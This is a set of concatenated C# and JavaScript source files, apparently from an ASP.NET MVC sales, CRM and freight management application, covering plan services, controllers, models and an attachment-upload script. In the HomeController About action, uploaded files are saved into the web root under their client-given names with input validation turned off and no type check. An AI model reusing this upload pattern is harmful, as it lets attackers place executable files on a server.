throw new ArgumentNullException("model");
ToDb(model, db);
Commited();
}
public void DeleteModel(long id)
{
var db = FindEntity(x => x.Id == id);
if (db == null)
throw new ArgumentNullException("id");
Delete(db);
}
public List<CRMPLanSaleModel> GetAllByUser(User user, int year, long deptId = 0)
{
List<CRMPLanSale> qr;
if (user.IsAdminAndAcct())
qr = GetAll(x => (deptId == 0 || x.Sales.DeptId == deptId) && x.PlanYear == year);
else if (user.IsDepManager())
qr = GetAll(x => x.Sales.DeptId == user.DeptId && x.PlanYear == year);
else
qr = GetAll(x => x.SalesId == user.Id && x.PlanYear == year);
return qr.Select(x => ToModel(x)).ToList();
}
public List<CRMSalesPlanOffice> GetAllDeptList(int year, long deptId = 0, long comId = 0)
{
var planList =
GetAll(x => x.PlanYear == year && (deptId == 0 || x.Sales.DeptId == deptId) && (comId == null || comId == x.Sales.ComId.Value));
var qr = planList.GroupBy(x => x.Sales.Department)
.Select(x => new CRMSalesPlanOffice
{
Department = x.Key,
PlanProgMonths = x.SelectMany(m => m.CRMPlanProgMonths.Select(xp => planProgMonthServics.ToModel(xp)))
}).ToList();
return qr;
}
private CRMPLanSaleModel ToModel(CRMPLanSale db)
{
CRMPLanSaleModel model = Mapper.Map<CRMPLanSaleModel>(db);
if (db.CRMPlanProgMonths.Any())
{
model.CRMPlanProgMountModels = db.CRMPlanProgMonths.Select(x => planProgMonthServics.ToModel(x)).ToList();
}
model.Sales = db.Sales;
if (db.ApprovedById != null)
model.ApprovalBy = Context.Users.FirstOrDefault(x => x.Id == db.ApprovedById);
if (db.SubmitedById != null)
model.SubmitedBy = Context.Users.FirstOrDefault(x => x.Id == db.SubmitedById);
return model;
}
private void ToDb(CRMPLanSaleModel model, CRMPLanSale db)
{
db.ApprovedById = model.ApprovalBy != null ? model.ApprovalBy.Id : (long?)null;
db.ApprovedDate = model.ApprovedDate;
db.SubmitedDate = model.SubmitedDate;
db.SubmitedById = model.SubmitedBy != null ? model.SubmitedBy.Id : (long?)null;
db.SalesId = model.SalesId;
}
}
}<file_sep>/*
* Xuan phap design
* code js render list file input before upload file
*
*
*/
var selDiv = "";
var storedFiles = [];
jQuery(document).ready(function () {
if (CKEDITOR.instances.Contents)
CKEDITOR.instances.Contents.destroy(true);
selDiv = document.querySelector("#listfileView");
jQuery("#files").on("change", handleFileSelect);
jQuery('#btnAdd').click(function (e) {
jQuery('#ListUser > option:selected').appendTo('#ListUserAccesses');
e.preventDefault();
});
jQuery('#btnAddAll').click(function (e) {
jQuery('#ListUser > option').appendTo('#ListUserAccesses');
e.preventDefault();
//jQuery("#ListUserAccesses option").prop("selected", true);
});
jQuery('#btnRemove').click(function (e) {
jQuery('#ListUserAccesses > option:selected').appendTo('#ListUser');
e.preventDefault();
});
jQuery('#btnRemoveAll').click(function (e) {
jQuery('#ListUserAccesses > option').appendTo('#ListUser');
e.preventDefault();
});
jQuery("#btn-selectFile").on('click', function () {
jQuery("#files").click();
});
CKEDITOR.replace('Contents',
{
fullPage: true,
extraPlugins: 'autogrow',
autoGrow_maxHeight: 800,
customConfig: '/Scripts/ckEditorConfig.js'
});
jQuery("body").on("click", ".selFile", removeFile);
jQuery("#btn-update").click(function (e) {
handleForm(e);
});
jQuery(".delete-file").on('click', function (e) {
e.preventDefault();
var $td = jQuery(this).parent('td.tdfile');
var fileId = parseFloat($td.attr('id'));
var urlAction = "/OutNew/DeleteFile/" + fileId;
jQuery.mbqAjax({
method: "POST",
dataType: 'json',
contentType: false,
processData: false,
url: urlAction,
success: function (result) {
jQuery($td).parents('tr:first').remove();
}
});
});
jQuery("#IsAllowAnotherUpdate").on('change', function () {
if (!jQuery(this).is(":checked")) {
jQuery('.listUserUpdate').removeClass('show').addClass('hidden');
jQuery('#listUsercanupdate').removeClass('show').addClass('hidden');
} else {
jQuery('.listUserUpdate').removeClass('hidden').addClass('show');
jQuery('#listUsercanupdate').removeClass('hidden').addClass('show');
}
});
jQuery("#addUserUpdate").on('click', function (e) {
e.preventDefault();
var html = jQuery("#AllUserList").html();
jQuery.mbqDialog({
title: "Chose user for can update",
content: html,
columnClass: 'col-md-8 col-md-offset-3',
});
AddorUserCanUpdate();
RemoveUserCanUpdate();
});
jQuery('span.deleteRow').click(function () {
jQuery(this).parents('tr:first').remove();
return false;
});
});
function handleFileSelect(e) {
var files = e.target.files;
var filesArr = Array.prototype.slice.call(files);
if (files.length > 0) {
jQuery("#attachment-show").css("display", "block");
filesArr.forEach(function (f) {
// rule filter
//if (!f.type.match("image.*")) {
// return;
//}
storedFiles.push(f);
var reader = new FileReader();
reader.onload = function (ev) {
var tr = document.createElement('tr');
tr.innerHTML = ['<td class="fileItem">', escape(f.name), '</td><td class="size-file">', Math.round(f.size / 1024, 0),
'KB</td> <td class="selFile" data-file="', f.name, '" ><i class="ui-icon ui-icon-close"></i></td>'].join('');
document.getElementById('listfileView').appendChild(tr, null);
};
reader.readAsDataURL(f);
});
} else {
jQuery("#attachment-show").hide();
}
}
function handleForm(e) {
var contentsData = CKEDITOR.instances.Contents.getData();
jQuery("#ListUserAccesses option").prop("selected", true);
jQuery("#Contents").val(contentsData);
var form = document.getElementById('frmInfo');
var formAction = form.action;
var postData = new FormData(form);// form.serialize();
for (var i = 0, len = storedFiles.length; i < len; i++) {
postData.append('filesUpdoad', storedFiles[i]);
}
e.preventDefault();
jQuery.mbqAjax({
method: "POST",
dataType: 'html',
contentType: false,
processData: false,
url: formAction,
data: postData,
success: function (result) {
if (formAction.indexOf("Infomation") > 0) {
window.location = '/Infomation/Index';
} else
jQuery("#dataInfo").html(result);
}
});
}
function removeFile(e) {
var file = jQuery(this).data("file");
for (var i = 0; i < storedFiles.length; i++) {
if (storedFiles[i].name === file) {
storedFiles.splice(i, 1);
break;
}
}
//jQuery("#files").val(storedFiles);
jQuery(this).parent().remove();
}
function AddorUserCanUpdate() {
jQuery("span.addRow").unbind('click');
//jQuery("span.deleteRow").unbind('click');
jQuery("span.addRow").on('click', function (e) {
e.preventDefault();
var $tr = jQuery(this).parents("tr:first");
var id = $tr.attr("id").split("_")[1];
var fullName = $tr.find('td').eq(0).text();
var departName = $tr.find('td').eq(1).text();
var $newTr = '<tr id="row_' + id + '"><td>' + fullName + '</td> <td>' + departName + '</td> <td> ' +
' <span class="deleteRow"><i class="ui-icon ui-icon-circle-triangle-w" style="color: red"></i> </span></td> </tr>';
jQuery(".jconfirm-box").find("#tbody_Usercanupdates").find("tr#emptyrow").remove();
jQuery(".jconfirm-box").find("#tbody_Usercanupdates").append($newTr);
jQuery(this).parents('tr:first').remove();
var listUpdate = jQuery("#UsersCanUpdate").val();
listUpdate += ";" + id;
listUpdate = listUpdate + ";";
listUpdate = listUpdate.replace(";;", ";");
jQuery("#UsersCanUpdate").val(listUpdate);
var html = jQuery(".jconfirm-box").find(".content").html();
e.stopPropagation();
jQuery(this).off('click');
jQuery('span.deleteRow').off('click');
jQuery(this).unbind();
jQuery('span.deleteRow').unbind();
jQuery("#AllUserList").html(html);
addorRemoeListUserUpdate(id, fullName);
RemoveUserCanUpdate();
return false;
});
}
function RemoveUserCanUpdate(parameters) {
jQuery("span.deleteRow").on('click', function (e) {
e.preventDefault();
var $tr = jQuery(this).parents("tr:first");
var id = $tr.attr("id").split("_")[1];
var fullName = $tr.find('td').eq(0).text();
var departName = $tr.find('td').eq(1).text();
var $newTr = '<tr id="row_' + id + '"><td>' + fullName + '</td> <td>' + departName + '</td> <td> ' +
' <span class="addRow"><i class="ui-icon ui-icon-circle-triangle-e" style="color: red"></i> </span></td> </tr>';
jQuery(".jconfirm-box").find("#tbody_UserFees").append($newTr);
jQuery(this).parents('tr:first').remove();
var listUpdate = jQuery("#UsersCanUpdate").val() + ";";
listUpdate = listUpdate.replace(";" + id + ";", ";").replace(";;", ";");
jQuery("#UsersCanUpdate").val(listUpdate);
var html = jQuery(".jconfirm-box").find(".content").html();
e.stopPropagation();
jQuery(this).off('click');
jQuery('span.addRow').off('click');
jQuery(this).unbind();
jQuery('span.addRow').unbind();
jQuery("#AllUserList").html(html);
addorRemoeListUserUpdate(id, fullName);
AddorUserCanUpdate();
return false;
});
}
function addorRemoeListUserUpdate(id, fullName) {
var ul = jQuery("#listUsercanupdate").find("ul").length;
if (ul <= 0) {
var $ul = ' <ul id="userUpdateList"></ul>';
jQuery("#listUsercanupdate").append($ul);
}
var $li = jQuery("#userUpdateList").find("#" + id);
if ($li.attr("id") !== id) {
var li = '<li class="list-group-item list-group-item-success" id="' + id + '" >' + fullName + '</li>';
jQuery("#userUpdateList").append(li);
} else {
jQuery("#userUpdateList").find("li#" + id).remove();
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using System.IO;
using SSM.Models;
using SSM.Services;
namespace SSM.Controllers
{
[HandleError]
public class HomeController : Controller
{
public static String FREIGHT_PATH = "/FileManager/Freight";
private UsersServices UsersServices1 { get; set; }
private FreightServices _freightService;
private User User1;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
User1 = (User)Session[AccountController.USER_SESSION_ID];
UsersServices1 = new UsersServicesImpl();
_freightService = new FreightServicesImpl();
}
public ActionResult Index()
{
ViewData["Message"] = "Welcome to SSM System";
return View();
}
public ActionResult About()
{
CompanyInfo CompanyInfo1 = new CompanyInfo();
CompanyInfo1.CompanyLogo = UsersServices1.getComSetting(CompanyInfo.COMPANY_LOGO);
CompanyInfo1.CompanyHeader = UsersServices1.getComSetting(CompanyInfo.COMPANY_HEADER);
CompanyInfo1.CompanyFooter = UsersServices1.getComSetting(CompanyInfo.COMPANY_FOOTER);
CompanyInfo1.AccountInfor = UsersServices1.getComSetting(CompanyInfo.ACCOUNT_INFO);
return View(CompanyInfo1);
}
private ServerFile getServerFiles(long ObjectId, String ObjectType)
{
IEnumerable<ServerFile> ServerFiles = _freightService.getServerFile(ObjectId, ObjectType);
if (ServerFiles != null && ServerFiles.Count() > 0) {
return ServerFiles.First();
}
return null;
}
[HttpPost]
[ValidateInput(false)]
public ActionResult About(CompanyInfo CompanyInfo1)
{
foreach (string inputTagName in Request.Files)
{
HttpPostedFileBase file = Request.Files[inputTagName];
if (file.ContentLength > 0)
{
string filePath = Path.Combine(Server.MapPath("~/" + FREIGHT_PATH)
, Path.GetFileName(file.FileName));
file.SaveAs(filePath);
UsersServices1.UpdateComSetting(CompanyInfo.COMPANY_LOGO, FREIGHT_PATH + "/" + file.FileName);
CompanyInfo1.CompanyLogo = FREIGHT_PATH + "/" + file.FileName;
Setting Setting1 = UsersServices1.getComLogoSetting(CompanyInfo.COMPANY_LOGO);
long ObjectId = Setting1 != null ? Setting1.Id : 0;
//save file to db
ServerFile ServerFile1 = getServerFiles(ObjectId, "SSM.Models.Setting");
if (ServerFile1 != null)
{
ServerFile1 = _freightService.getServerFile(ServerFile1.Id);
ServerFile1.Path = FREIGHT_PATH + "/" + file.FileName;
ServerFile1.FileName = file.FileName;
ServerFile1.FileSize = file.ContentLength;
ServerFile1.FileMimeType = file.ContentType;
UsersServices1.updateAny();
}
else
{
ServerFile1 = new ServerFile();
ServerFile1.ObjectId = ObjectId;
ServerFile1.ObjectType = "SSM.Models.Setting";
ServerFile1.Path = FREIGHT_PATH + "/" + file.FileName;
ServerFile1.FileName = file.FileName;
ServerFile1.FileSize = file.ContentLength;
ServerFile1.FileMimeType = file.ContentType;
_freightService.insertServerFile(ServerFile1);
}
}
}
if (CompanyInfo1.CompanyHeader != null && !CompanyInfo1.CompanyHeader.Equals(""))
{
UsersServices1.UpdateComSetting(CompanyInfo.COMPANY_HEADER, CompanyInfo1.CompanyHeader);
}
if (CompanyInfo1.CompanyFooter != null && !CompanyInfo1.CompanyFooter.Equals(""))
{
UsersServices1.UpdateComSetting(CompanyInfo.COMPANY_FOOTER, CompanyInfo1.CompanyFooter);
}
if (CompanyInfo1.AccountInfor != null && !CompanyInfo1.AccountInfor.Equals(""))
{
UsersServices1.UpdateComSetting(CompanyInfo.ACCOUNT_INFO, CompanyInfo1.AccountInfor);
}
return View(CompanyInfo1);
}
[AllowAnonymous]
public ActionResult NoPermission()
{
return View("ErrorPermistion");
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Web.Mvc;
using System.Web.Routing;
using SSM.Models;
using SSM.Models.CRM;
using SSM.Services;
using SSM.Services.CRM;
namespace SSM.Controllers
{
public class CRMPlanController : BaseController
{
private ICRMPLanProgramService programService;
private ICRMPlanMonthService planMonthService;
private ICRMPLanSaleService planSaleService;
private ICRMPlanProgMonthServics planProgMonthServics;
private UsersServices usersServices;
public CRMPlanController()
{
programService = new CRMPLanProgramService();
planMonthService = new CRMPlanMonthService();
planSaleService = new CRMPLanSaleService();
planProgMonthServics = new CRMPlanProgMonthServics();
usersServices = new UsersServicesImpl();
}
public ActionResult Index()
{
long depId = CurrenUser.DeptId ?? 4;
if (CurrenUser.IsAdminAndAcct())
depId = 4;
var currentYear = DateTime.Now.Year;
var filter = new PlanFilter()
{
Id = depId,
Year = currentYear
};
ViewBag.AllPrograms = programService.GetModelAll();
ViewBag.AllSalse = usersServices.GetAll(x => x.DeptId == depId && x.IsActive == true);
var listUserShow = planSaleService.GetAllByUser(CurrenUser, currentYear, depId);
var listDeptShow = planSaleService.GetAllDeptList(currentYear, depId);
var depList = usersServices.GetSalesDept();
ViewBag.AlldeptSalseList = new SelectList(depList, "Id", "DeptName");
ViewBag.PlanOfDep = listDeptShow;
ViewBag.PlanFilter = filter;
return View(listUserShow);
}
[HttpPost]
public ActionResult Index(PlanFilter filter)
{
var listUserShow = planSaleService.GetAllByUser(CurrenUser, filter.Year, filter.Id);
var listDeptShow = planSaleService.GetAllDeptList(filter.Year, filter.Id);
ViewBag.PlanOfDep = listDeptShow;
var depList = usersServices.GetSalesDept();
ViewBag.AlldeptSalseList = new SelectList(depList, "Id", "DeptName");
ViewBag.AllPrograms = programService.GetModelAll();
var listSales = usersServices.GetAll(x => x.DeptId == filter.Id && x.IsActive == true);
ViewBag.AllSalse = listSales;
ViewBag.PlanFilter = filter;
return PartialView("_List", listUserShow);
}
public ActionResult PlanOffice()
{
var filter = new PlanFilter()
{
Id = CurrenUser.ComId.Value,
Year = DateTime.Now.Year
};
ViewBag.PlanFilter = filter;
var depList = usersServices.getAllCompany();
ViewBag.AllPrograms = programService.GetModelAll();
ViewBag.AlldeptSalseList = new SelectList(depList, "Id", "CompanyName");
var listDeptShow = planSaleService.GetAllDeptList(filter.Year, 0, filter.Id);
if (!listDeptShow.Any() && DateTime.Now.Year <= filter.Year)
{
SetupdataForYear(filter.Year);
listDeptShow = planSaleService.GetAllDeptList(filter.Year, 0, filter.Id);
}
return View(listDeptShow);
}
[HttpPost]
public ActionResult PlanOffice(PlanFilter filter)
{
var depList = usersServices.getAllCompany();
ViewBag.AlldeptSalseList = new SelectList(depList, "Id", "CompanyName");
ViewBag.AllPrograms = programService.GetModelAll();
var listDeptShow = planSaleService.GetAllDeptList(filter.Year, 0, filter.Id);
if (!listDeptShow.Any() && DateTime.Now.Year <= filter.Year)
{
SetupdataForYear(filter.Year);
listDeptShow = planSaleService.GetAllDeptList(filter.Year, 0, filter.Id);
}
ViewBag.PlanFilter = filter;
return PartialView("_OfficeDepList", listDeptShow);
}
public ActionResult SetDefaulPlanData()
{
SetupdataForYear(DateTime.Now.Year);
return View();
}
private void SetupdataForYear(int currentYear, long userId = 0)
{
var allSalse = usersServices.GetAll(
x =>
x.IsActive == true &&
(userId == 0 || x.Id == userId) &&
!x.Department.DeptFunction.Equals(UsersModel.Positions.Accountant.ToString()) &&
!x.Department.DeptFunction.Equals(UsersModel.DisplayPositions.Director.ToString()));
var allPrograms = programService.GetModelAll();
foreach (var user in allSalse)
{
var isExisted =
planSaleService.Any(
x =>
x.SalesId == user.Id && x.PlanYear == currentYear);
if (isExisted)
continue;
var pLanSalesModel = new CRMPLanSaleModel
{
PlanYear = currentYear,
SalesId = user.Id
};
var planSale = planSaleService.InsertModel(pLanSalesModel);
foreach (var program in allPrograms)
{
var progMonthModel = new CRMPlanProgMonthModel
{
PlanYear = planSale.PlanYear,
PlanSalesId = planSale.Id,
ProgramId = program.Id
};
progMonthModel = planProgMonthServics.InsertModel(progMonthModel);
for (int i = 1; i <= 12; i++)
{
var splanModel = new CRMPlanMonthModel
{
PlanMonth = i,
PlanYear = progMonthModel.PlanYear,
PlanValue = 0,
ProgramMonthId = progMonthModel.Id
};
planMonthService.InsertModel(splanModel);
}
}
}
}
public ActionResult UpdatePlanValue(List<CRMPlanMonthModel> CRMPlanMonthModels)
{
var year = DateTime.Now.Year;
foreach (var it in CRMPlanMonthModels)
{
year = it.PlanYear;
var db = planMonthService.GetModelById(it.Id);
db.PlanValue = it.PlanValue;
db.PlanMonth = it.PlanMonth;
db.PlanYear = it.PlanYear;
db.ProgramMonthId = it.ProgramMonthId;
planMonthService.UpdateModel(db);
}
var filter = new PlanFilter()
{
Id = CurrenUser.DeptId.Value,
Year = year
};
return Index(filter);
}
public ActionResult ApprovalPlan(long id, bool isApproval = true)
{
var splan = planSaleService.GetByIModel(id);
if (isApproval)
{
splan.ApprovalBy = CurrenUser;
splan.ApprovedDate = DateTime.Now;
}
else
{
splan.ApprovalBy = null;
splan.ApprovedDate = null;
splan.SubmitedBy = null;
splan.SubmitedDate = null;
}
planSaleService.UpdateModel(splan);
var filter = new PlanFilter()
{
Id = CurrenUser.DeptId.Value,
Year = splan.PlanYear
};
return Index(filter);
}
public ActionResult SubmitPlan(long id, bool isSubmit = true)
{
var splan = planSaleService.GetByIModel(id);
if (isSubmit)
{
splan.SubmitedBy = CurrenUser;
splan.SubmitedDate = DateTime.Now;
}
else
{
splan.ApprovalBy = null;
splan.ApprovedDate = null;
splan.SubmitedBy = null;
splan.SubmitedDate = null;
}
planSaleService.UpdateModel(splan);
var filter = new PlanFilter()
{
Id = CurrenUser.DeptId.Value,
Year = splan.PlanYear
};
return Index(filter);
}
}
}<file_sep>using System;
using Microsoft.Office.Interop.Excel;
using SSM.Models;
namespace SSM.ViewModels
{
public class TradingStockSearch
{
public DateTime VoucherDate { get; set; }
public Product Product { get; set; }
public Supplier Supplier { get; set; }
public Customer Customer { get; set; }
public Warehouse Warehouse { get; set; }
public User CreatedBy { get; set; }
public long CreatedId { get; set; }
public string HBL { get; set; }
public string MBL { get; set; }
public string VoucherNo { get; set; }
public DateTime? FromDate { get; set; }
public DateTime? ToDate { get; set; }
public SSM.Services.SortField SortField { get; set; }
}
}<file_sep>using System;
using AutoMapper;
using SSM.Common;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.Services.CRM
{
public interface ICRMContactService : IServices<CRMContact>
{
CRMContactModel GetById(int id);
CRMContactModel GetById(int id, long cusId);
void InsertToDb(CRMContactModel model);
void UpdateToDb(CRMContactModel model);
void DeleteToDb(CRMContactModel model);
bool DeleteAllCtOfCus(long cusId);
}
public class CRMContactService : Services<CRMContact>, ICRMContactService
{
public CRMContactModel GetById(int id)
{
var db = FindEntity(x => x.Id == id);
return ToModels(db);
}
public CRMContactModel GetById(int id, long cusId)
{
var db = FindEntity(x => x.Id == id && x.CmrCustomerId == cusId);
return ToModels(db);
}
public void InsertToDb(CRMContactModel model)
{
var db = ToDbModel(model);
Insert(db);
Commited();
}
public void UpdateToDb(CRMContactModel model)
{
var db = FindEntity(x => x.Id == model.Id);
if (db == null)
throw new ArgumentNullException("model");
ConvertModel(model, db);
Commited();
}
public void DeleteToDb(CRMContactModel model)
{
var db = FindEntity(x => x.Id == model.Id);
if (db == null)
throw new ArgumentNullException("model");
Delete(db);
Commited();
}
public bool DeleteAllCtOfCus(long cusId)
{
try
{
var dbs = GetAll(x => x.CmrCustomerId == cusId);
DeleteAll(dbs);
return true;
}
catch (Exception ex)
{
Logger.LogError(ex);
throw ex;
}
}
public CRMContact ToDbModel(CRMContactModel model)
{
var db = new CRMContact
{
FullName = model.FullName,
Phone = model.Phone,
Phone2 = model.Phone2,
Email = model.Email,
Email2 = model.Email2,
CmrCustomerId = model.CmrCustomerId
};
return db;
}
private void ConvertModel(CRMContactModel model, CRMContact db)
{
db.FullName = model.FullName;
db.Phone = model.Phone;
db.Phone2 = model.Phone2;
db.Email = model.Email;
db.Email2 = model.Email2;
db.CmrCustomerId = model.CmrCustomerId;
}
public CRMContactModel ToModels(CRMContact contact)
{
if (contact == null) return null;
return Mapper.Map<CRMContactModel>(contact);
}
}
}<file_sep>using System;
using SSM.Utils;
namespace SSM.Models
{
public class DebitNoteModel
{
public String CompanyTo { get; set; }
public String DebitNo { get; set; }
public String DebitDate { get; set; }
public String DebitTerms { get; set; }
public String FlightNo { get; set; }
public String HAWB_HBL { get; set; }
public String Origin { get; set; }
public String Destination { get; set; }
public String Pieces { get; set; }
public String Weight { get; set; }
public String Description { get; set; }
public double DebitAmount { get; set; }
public double DebitUSD { get; set; }
public String AuthName { get; set; }
public long ShipmentId { get; set; }
public String CompanyFrom { get; set; }
public String InWords { get; set; }
public bool Logo { get; set; }
public bool Header { get; set; }
public bool Footer { get; set; }
public string Wearehouse { get; set; }
public string FlyNo { get; set; }
public static void ConvertDebitNote(DebitNoteModel DebitNoteModel1, DebitNote DebitNote1)
{
DebitNote1.CompanyTo = DebitNoteModel1.CompanyTo;
DebitNote1.CompanyFrom = DebitNoteModel1.CompanyFrom;
DebitNote1.InWords = DebitNoteModel1.InWords;
DebitNote1.DebitNo = DebitNoteModel1.DebitNo;
DebitNote1.DebitDate = DateUtils.Convert2DateTime(DebitNoteModel1.DebitDate);
DebitNote1.DebitTerms = DebitNoteModel1.DebitTerms;
DebitNote1.FlightNo = DebitNoteModel1.FlightNo;
DebitNote1.HAWB_HBL = DebitNoteModel1.HAWB_HBL;
DebitNote1.Origin = DebitNoteModel1.Origin;
DebitNote1.Destination = DebitNoteModel1.Destination;
DebitNote1.Pieces = DebitNoteModel1.Pieces;
DebitNote1.Weight = DebitNoteModel1.Weight;
DebitNote1.Description = DebitNoteModel1.Description;
DebitNote1.DebitUSD = Convert.ToDecimal(DebitNoteModel1.DebitUSD);
DebitNote1.DebitAmount = Convert.ToDecimal(DebitNoteModel1.DebitAmount);
DebitNote1.AuthName = DebitNoteModel1.AuthName;
DebitNote1.ShipmentId = DebitNoteModel1.ShipmentId;
DebitNote1.Logo = DebitNoteModel1.Logo;
DebitNote1.Header = DebitNoteModel1.Header;
DebitNote1.Footer = DebitNoteModel1.Footer;
}
public static void ConvertDebitNote(DebitNote DebitNote1, DebitNoteModel DebitNoteModel1)
{
DebitNoteModel1.CompanyTo = DebitNote1.CompanyTo;
DebitNoteModel1.CompanyFrom = DebitNote1.CompanyFrom;
DebitNoteModel1.InWords = DebitNote1.InWords;
DebitNoteModel1.DebitNo = DebitNote1.DebitNo;
DebitNoteModel1.DebitDate = DebitNote1.DebitDate != null ? DebitNote1.DebitDate.Value.ToString("dd/MM/yyyy") : "";
DebitNoteModel1.DebitTerms = DebitNote1.DebitTerms;
DebitNoteModel1.FlightNo = DebitNote1.FlightNo;
DebitNoteModel1.HAWB_HBL = DebitNote1.HAWB_HBL;
DebitNoteModel1.Origin = DebitNote1.Origin;
DebitNoteModel1.Destination = DebitNote1.Destination;
DebitNoteModel1.Pieces = DebitNote1.Pieces;
DebitNoteModel1.Weight = DebitNote1.Weight;
DebitNoteModel1.Description = DebitNote1.Description;
DebitNoteModel1.DebitUSD = Convert.ToDouble(DebitNote1.DebitUSD);
DebitNoteModel1.DebitAmount = Convert.ToDouble(DebitNote1.DebitAmount);
DebitNoteModel1.AuthName = DebitNote1.AuthName;
DebitNoteModel1.ShipmentId = DebitNote1.ShipmentId;
DebitNoteModel1.Logo = DebitNote1.Logo;
DebitNoteModel1.Header = DebitNote1.Header;
DebitNoteModel1.Footer = DebitNote1.Footer;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SqlClient;
using System.Linq;
using System.Web.Management;
using AutoMapper;
using SSM.Common;
using SSM.Models;
using SSM.Models.CRM;
using SSM.ViewModels.Reports.CRM;
namespace SSM.Services.CRM
{
public interface ICRMCustomerService : IServices<CRMCustomer>
{
long InsertToDb(CRMCustomerModel model);
// bool UpdateToDb(CRMCustomerModel model);
bool DeleteToDb(CRMCustomerModel model);
CRMCustomerModel GetModelById(long id);
CRMCustomer GetById(long id);
IQueryable<CRMCustomer> GetByMonthYear(PlanFilter filter);
IEnumerable<CRMCustomer> GetAllModel(CRMSearchModel fModel, SSM.Services.SortField sortField, out int totalRows, int page, int pageSize, User currenUser);
IEnumerable<CRMFilterProfitResult> GetAllCRMResults(CRMSearchModel fModel, SSM.Services.SortField sortField, out int totalRows, int page, int pageSize, User currenUser, out int totalSeccessCount, out int totalClientCount, out int totalFolowCount);
SummaryCustomer Summary(long id, DateTime fromDate, DateTime toDate);
List<SummaryCustomer> SummarysList(User currenUser, PlanFilter filter);
List<SalesTypeSummaryReport> SalesTypeSumaryReport(PlanFilter filter);
List<Shipment> GetListShipments(long ssmCusId);
List<CRMFilterProfitResult> GetCRMListProfit(CRMFilterProfit filter, User user);
List<CrmFilterTopProfitByStore> GetCRMListFollowProfit(CRMFilterFollowProfit filter, User user);
List<MT81> GetListSalesTrading(long ssmCusId);
CRMStatusCode SetSatus(long id, out bool isCancel);
IEnumerable<CRMFilterProfitResult> GetAllSearchNotPaging(CRMSearchModel fModel, SortField sortField,
User currenUser, out int totalRows);
}
public class CRMCustomerService : Services<CRMCustomer>, ICRMCustomerService
{
public long InsertToDb(CRMCustomerModel model)
{
try
{
var db = ToDbModel(model);
Insert(db);
var id = db.Id;
model.Id = id;
return id;
}
catch (NullReferenceException ex)
{
Logger.LogError(ex.ToString());
throw ex;
}
catch (Exception ex)
{
Logger.LogError(ex.ToString());
throw ex;
}
}
public bool UpdateToDb(CRMCustomerModel model)
{
try
{
var db = GetById(model.Id);
if (db == null)
throw new ArgumentNullException("model");
ConvertModel(model, db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex.ToString());
throw ex;
}
}
public bool DeleteToDb(CRMCustomerModel model)
{
try
{
var db = FindEntity(x => x.Id == model.Id);
if (db == null)
throw new ArgumentNullException("model");
Context.CRMContacts.DeleteAllOnSubmit(db.CRMContacts);
Delete(db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex.ToString());
return false;
}
}
public CRMCustomerModel GetModelById(long id)
{
return ToModels(GetById(id));
}
public CRMCustomer GetById(long id)
{
return FindEntity(x => x.Id == id);
}
public IQueryable<CRMCustomer> GetByMonthYear(PlanFilter filter)
{
var qr = GetQuery(x => (filter.Month == 0 || x.CreatedDate.Month == filter.Month) &&
x.CreatedDate.Year == filter.Year);
switch (filter.SummaryByType)
{
case SummaryByType.ByUser:
qr = qr.Where(x => x.CreatedById == filter.Id);
break;
case SummaryByType.ByDeparment:
qr = qr.Where(x => x.User.DeptId == filter.Id);
break;
case SummaryByType.ByOffice:
qr = qr.Where(x => x.User.ComId == filter.Id);
break;
}
return qr;
}
public IEnumerable<CRMCustomer> GetAllModel(CRMSearchModel filter, SortField sortField, out int totalRows, int page, int pageSize, User currenUser)
{
totalRows = 0;
var qr = GetQuyryCustomers(filter, currenUser);
totalRows = qr.Count();
qr = qr.OrderBy(sortField);
var list = GetListPager(qr, page, pageSize);
return list;
}
public IQueryable<CRMCustomer> GetQuyryCustomers(CRMSearchModel filter, User currenUser)
{
if (filter.ToDate.HasValue)
{
DateTime todate = filter.ToDate.Value;
filter.ToDate = new DateTime(todate.Year, todate.Month, todate.Day, 23, 59, 59);
}
var qr = GetQuery(x => (!filter.Id.HasValue || filter.Id == x.Id)
&& (string.IsNullOrEmpty(filter.CompanyName) || x.CompanyName.Contains(filter.CompanyName)
|| x.CompanyShortName.Contains(filter.CompanyName) || x.Description.Contains(filter.CompanyName))
//&& (filter.CRMStatus.Id == 0 || (x.CrmStatusId == filter.CRMStatus.Id))
&& (filter.DataType == 0 || x.CrmDataType == (byte)filter.DataType)
&& (filter.CRMSource.Id == 0 || x.CrmSourceId == filter.CRMSource.Id)
&& (filter.JobCategory.Id == 0 || x.CrmCategoryId == filter.JobCategory.Id)
&& (filter.CrmGroup.Id == 0 || x.CrmGroupId == filter.CrmGroup.Id)
&& (filter.SaleType.Id == 0 || x.SaleTypeId == filter.SaleType.Id)
&& (filter.Province.Id == 0 || x.CrmProvinceId == filter.Province.Id)
&& (filter.SalesId == 0 || x.CreatedById == filter.SalesId || Context.CRMFollowCusUsers.Any(f => f.CrmId == x.Id && f.UserId == filter.SalesId)));
if (filter.DeptId != 0)
{
qr = qr.Where(x => x.User != null && x.User.DeptId == filter.DeptId);
}
if (filter.SalesId != 0)
{
qr = qr.Where(x => x.CreatedById == filter.SalesId || Context.CRMFollowCusUsers.Any(f => f.CrmId == x.Id && f.UserId == filter.SalesId));
}
if (filter.PeriodDate == PeriodDate.CreateDate)
{
if (filter.FromDate.HasValue)
qr = qr.Where(x => x.CreatedDate >= filter.FromDate);
if (filter.ToDate.HasValue)
qr = qr.Where(x => x.CreatedDate <= filter.ToDate);
}
else
{
if (filter.FromDate.HasValue)
qr = qr.Where(x => x.CreatedDate >= filter.FromDate);
if (filter.ToDate.HasValue)
qr = qr.Where(x => x.CreatedDate <= filter.ToDate);
}
if (!currenUser.IsDirecter() && filter.SalesId == 0)
{
if (currenUser.IsDepManager())
qr = qr.Where(x => (x.User.DeptId == currenUser.DeptId || Context.CRMFollowCusUsers.Any(f => f.CrmId == x.Id && f.UserId == currenUser.Id)) && x.IsUserDelete == false);
else
qr = qr.Where(x => (x.CreatedById == currenUser.Id || Context.CRMFollowCusUsers.Any(f => f.CrmId == x.Id && f.UserId == currenUser.Id)) && x.IsUserDelete == false);
}
